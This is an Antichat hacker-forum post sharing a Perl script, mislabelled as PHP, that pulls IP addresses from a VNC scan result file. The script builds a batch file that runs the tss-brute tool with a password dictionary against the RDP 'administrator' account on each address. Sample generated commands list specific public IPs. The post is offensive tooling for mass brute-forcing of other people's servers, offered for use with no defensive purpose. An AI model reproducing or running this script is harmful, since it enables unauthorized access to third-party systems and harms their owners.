Форум АНТИЧАТ - Показать сообщение отдельно

после брута ір с помощью VNC.exe прога создает VNC_bypauth.txt, в котором много нужних вам ір вида "195.80.10.131 :3389 ".

етот скрипт витягивает из VNC_bypauth.txt ір, и формирует готовий .bat файл для брута дедов "! GO.bat" tss-brute'ом.

в скрипте изменяем:
$tss = 'полний путь до tss-brute';
$pass = 'полний путь до словаря с паролями';
$fold = 'папка для врем файлов//';
$port = ':порт';
$file = 'VNC_bypauth.txt';

в результате будет что-то типа:

Код:

"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.131 >>res//195.80.10.131
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.107 >>res//195.80.10.107
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.11.26 >>res//195.80.11.26
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.13.243 >>res//195.80.13.243

PHP код:


		
			
#eLwaux

use Fcntl ':flock';



$tss  = 'D:\Sorted\ded\4\tss-brute.exe';

$pass = 'D:\Sorted\ded\4\pass.txt';

$fold = 'res//';

$port = ':3389';

$file = 'VNC_bypauth.txt';



my $m = '';



open(DESC, $file);

read(DESC,$res,-s $file);

close(DESC);



while ($res ne '') {

    if ($res=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+$port/){

        ($ip)=$1;

        print $ip."\n";

            open(FILE, '>>! GO.bat') || die(" [-] could not save file!\n");                                

            flock(FILE, LOCK_EX);

            print FILE '"'.$tss.'" -w "'.$pass.'"-u administrator '.$ip.' >>'.$fold.$ip."\n";

            flock(FILE, LOCK_UN);

            close(FILE);

        $res = substr($res, index($res,$ip)+length($ip), length($res));

        }  else {$res='';}

    }

#eLwaux